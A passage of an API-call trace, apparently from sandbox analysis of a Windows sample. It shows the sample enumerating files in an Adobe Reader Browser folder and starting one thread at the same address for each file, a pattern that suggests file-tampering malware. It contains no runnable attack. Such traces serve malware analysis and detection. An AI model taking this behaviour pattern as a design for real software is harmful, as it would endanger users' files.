nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 0 [0150.841] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0150.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd616a0) returned 1 [0150.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0150.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2590) returned 1 Thread: id = 2045 os_tid = 0x12e8 [0137.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420609b0 [0137.819] wcscpy (in: _Dest=0x420609b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0137.819] wcscat (in: _Dest=0x420609b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0137.819] wcscat (in: _Dest=0x420609b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*" [0137.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd622d0 [0137.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c4f0 [0137.824] wcscmp (_String1=".", _String2=".") returned 0 [0137.825] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.825] wcscmp (_String1="..", _String2=".") returned 1 [0137.825] wcscmp (_String1="..", _String2="..") returned 0 [0137.825] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0137.825] wcscmp (_String1="nppdf32.CAT", _String2=".") returned 1 [0137.825] wcscmp (_String1="nppdf32.CAT", _String2="..") returned 1 [0137.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4b020 [0137.825] wcscpy (in: _Dest=0x1cf4b020, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0137.825] wcscat (in: _Dest=0x1cf4b020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0137.825] wcscat (in: _Dest=0x1cf4b020, _Source="nppdf32.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" [0151.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc4 [0151.161] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0151.161] wcscmp (_String1="nppdf32.CHS", _String2=".") returned 1 [0151.161] wcscmp (_String1="nppdf32.CHS", _String2="..") returned 1 [0151.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202af6a0 [0151.162] wcscpy (in: _Dest=0x202af6a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.162] wcscat (in: _Dest=0x202af6a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.162] wcscat (in: _Dest=0x202af6a0, _Source="nppdf32.CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" [0151.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af6a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2410 [0151.163] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0151.163] wcscmp (_String1="nppdf32.CHT", _String2=".") returned 1 [0151.163] wcscmp (_String1="nppdf32.CHT", _String2="..") returned 1 [0151.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae260 [0151.163] wcscpy (in: _Dest=0x202ae260, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.163] wcscat (in: _Dest=0x202ae260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.163] wcscat (in: _Dest=0x202ae260, _Source="nppdf32.CHT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT" [0151.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2414 [0151.164] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0151.164] wcscmp (_String1="nppdf32.CZE", _String2=".") returned 1 [0151.164] wcscmp (_String1="nppdf32.CZE", _String2="..") returned 1 [0151.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae2f0 [0151.164] wcscpy (in: _Dest=0x202ae2f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.164] wcscat (in: _Dest=0x202ae2f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.164] wcscat (in: _Dest=0x202ae2f0, _Source="nppdf32.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE" [0151.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2418 [0151.166] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0151.166] wcscmp (_String1="nppdf32.DAN", _String2=".") returned 1 [0151.166] wcscmp (_String1="nppdf32.DAN", _String2="..") returned 1 [0151.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae4a0 [0151.166] wcscpy (in: _Dest=0x202ae4a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.166] wcscat (in: _Dest=0x202ae4a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.166] wcscat (in: _Dest=0x202ae4a0, _Source="nppdf32.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN" [0151.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x241c [0151.167] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0151.167] wcscmp (_String1="nppdf32.DEU", _String2=".") returned 1 [0151.167] wcscmp (_String1="nppdf32.DEU", _String2="..") returned 1 [0151.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784520 [0151.167] wcscpy (in: _Dest=0x1b784520, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.167] wcscat (in: _Dest=0x1b784520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.167] wcscat (in: _Dest=0x1b784520, _Source="nppdf32.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU" [0151.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2420 [0151.168] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0151.168] wcscmp (_String1="nppdf32.dll", _String2=".") returned 1 [0151.169] wcscmp (_String1="nppdf32.dll", _String2="..") returned 1 [0151.169] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0151.169] wcscmp (_String1="nppdf32.ESP", _String2=".") returned 1 [0151.169] wcscmp (_String1="nppdf32.ESP", _String2="..") returned 1 [0151.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784760 [0151.169] wcscpy (in: _Dest=0x1b784760, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.169] wcscat (in: _Dest=0x1b784760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.169] wcscat (in: _Dest=0x1b784760, _Source="nppdf32.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP" [0151.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2424 [0151.170] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0151.170] wcscmp (_String1="nppdf32.EUQ", _String2=".") returned 1 [0151.170] wcscmp (_String1="nppdf32.EUQ", _String2="..") returned 1 [0151.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784a30 [0151.171] wcscpy (in: _Dest=0x1b784a30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.171] wcscat (in: _Dest=0x1b784a30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.171] wcscat (in: _Dest=0x1b784a30, _Source="nppdf32.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" [0151.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2428 [0151.172] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0151.172] wcscmp (_String1="nppdf32.FRA", _String2=".") returned 1 [0151.172] wcscmp (_String1="nppdf32.FRA", _String2="..") returned 1 [0151.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784ac0 [0151.172] wcscpy (in: _Dest=0x1b784ac0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.172] wcscat (in: _Dest=0x1b784ac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.172] wcscat (in: _Dest=0x1b784ac0, _Source="nppdf32.FRA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" [0151.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x242c [0151.173] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0151.173] wcscmp (_String1="nppdf32.HRV", _String2=".") returned 1 [0151.173] wcscmp (_String1="nppdf32.HRV", _String2="..") returned 1 [0151.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784c70 [0151.173] wcscpy (in: _Dest=0x1b784c70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.173] wcscat (in: _Dest=0x1b784c70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.173] wcscat (in: _Dest=0x1b784c70, _Source="nppdf32.HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" [0151.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2430 [0151.174] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0151.174] wcscmp (_String1="nppdf32.HUN", _String2=".") returned 1 [0151.174] wcscmp (_String1="nppdf32.HUN", _String2="..") returned 1 [0151.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784010 [0151.175] wcscpy (in: _Dest=0x1b784010, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.175] wcscat (in: _Dest=0x1b784010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.175] wcscat (in: _Dest=0x1b784010, _Source="nppdf32.HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN" [0151.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2434 [0151.176] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0151.176] wcscmp (_String1="nppdf32.ITA", _String2=".") returned 1 [0151.176] wcscmp (_String1="nppdf32.ITA", _String2="..") returned 1 [0151.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7841c0 [0151.176] wcscpy (in: _Dest=0x1b7841c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.176] wcscat (in: _Dest=0x1b7841c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.176] wcscat (in: _Dest=0x1b7841c0, _Source="nppdf32.ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" [0151.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7841c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2438 [0151.177] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0151.177] wcscmp (_String1="nppdf32.JPN", _String2=".") returned 1 [0151.177] wcscmp (_String1="nppdf32.JPN", _String2="..") returned 1 [0151.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784be0 [0151.178] wcscpy (in: _Dest=0x1b784be0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0151.178] wcscat (in: _Dest=0x1b784be0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0151.178] wcscat (in: _Dest=0x1b784be0, _Source="nppdf32.JPN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN" [0151.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784be0, 